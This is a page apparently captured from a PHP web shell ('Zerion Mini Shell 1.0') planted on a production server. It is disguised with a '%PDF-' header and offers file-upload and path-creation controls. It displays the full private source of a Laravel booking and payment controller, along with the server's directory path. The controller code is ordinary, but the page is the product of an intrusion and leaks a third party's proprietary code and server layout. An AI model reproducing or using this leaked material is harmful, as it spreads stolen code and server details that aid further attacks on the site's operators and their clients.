%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Therapist/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Therapist/BookingController.php

<?php

namespace App\Http\Controllers\Therapist;

use Carbon\Carbon;
use App\Models\User;
use App\Models\Booking;
use App\Models\Product;
use App\Models\Payment;
use App\Jobs\CollectPayment;
use App\Helpers\MoneyHelper;
use App\Services\Stripe\SellerService;
use App\Http\Resources\BookingResource;
use App\Mail\Clients\NewBooking;
use App\Mail\Therapist\NewBooking as NewTherapistBooking;
use Illuminate\Support\Facades\Mail;
use Illuminate\Http\Request;
use Illuminate\Database\Eloquent\Builder;
use App\Http\Controllers\Controller;

class BookingController extends Controller
{
    /**
     * Show all the therapists clients
     * 
     * @param Request $request
     * @return BookingResource $bookings
     */
    public function index(Request $request)
    {
        $search = $request->get('search_query');

        $bookings = auth()->user()->therapist->bookings()
            ->with('user')
            ->when($search, function ($query, $search) {
                return $query->whereHas('user', function (Builder $query) use($search) {
                    $query->where('first_name', 'like' ,'%'.$search.'%')
                        ->orWhere('last_name', 'like' ,'%'.$search.'%')
                        ->orWhere('email', 'like' ,'%'.$search.'%');
                });
            })
            ->orderBy('start_date', 'desc')
            ->paginate(12);

        return BookingResource::collection($bookings);
    }

    /**
     * Create a new booking for an existing client
     * 
     * @param Request $request
     * @return BookingResource $booking
     */
    public function create($id, Request $request)
    {
        $therapist = auth()->user()->therapist;
        $user = $therapist->clients()
            ->where('user_id', $id)
            ->firstOrFail();

        $bookings = [];

        if (!$user->hasDefaultPaymentMethod()) {
            return response()->json('Client does not have any active payment methods, please contact them to resolve.', 422);
        }

        foreach($request->get('sessions') as $session) {
            $product = Product::findOrFail($session['product_id']);

            $payment = Payment::create([
                'customer_id' => $user->id,
                'seller_id' => $therapist->user->id,
                'product_id' => $product->id,
                'amount' => $product->price,
                'fees_collected' => 0,
                'is_complete' => false
            ]);

            $booking = Booking::create([
                'therapist_id' => $therapist->id,
                'user_id' => $user->id,
                'session_id' => $session['session_id'],
                'payment_id' => $payment->id,
                'status' => array_search('Pending', Booking::STATUSES),
                'start_date' => Carbon::parse($session['slot']),
                'end_date' => Carbon::parse($session['slot'])->addHour()
            ]);

            if($booking->start_date <= now()->addHour(48)) {
                CollectPayment::dispatch($payment);
            }

            // Push the created booking to the array
            $bookings[] = $booking;
        }

        // Send Notification Emails
        Mail::to($user)->send(new NewBooking($user, $therapist->user, $bookings));
        Mail::to($therapist->user)->send(new NewTherapistBooking($therapist->user, $user, $bookings));

        return response()->json('Success! new booking created for '.$user->full_name);
    }
}

Zerion Mini Shell 1.0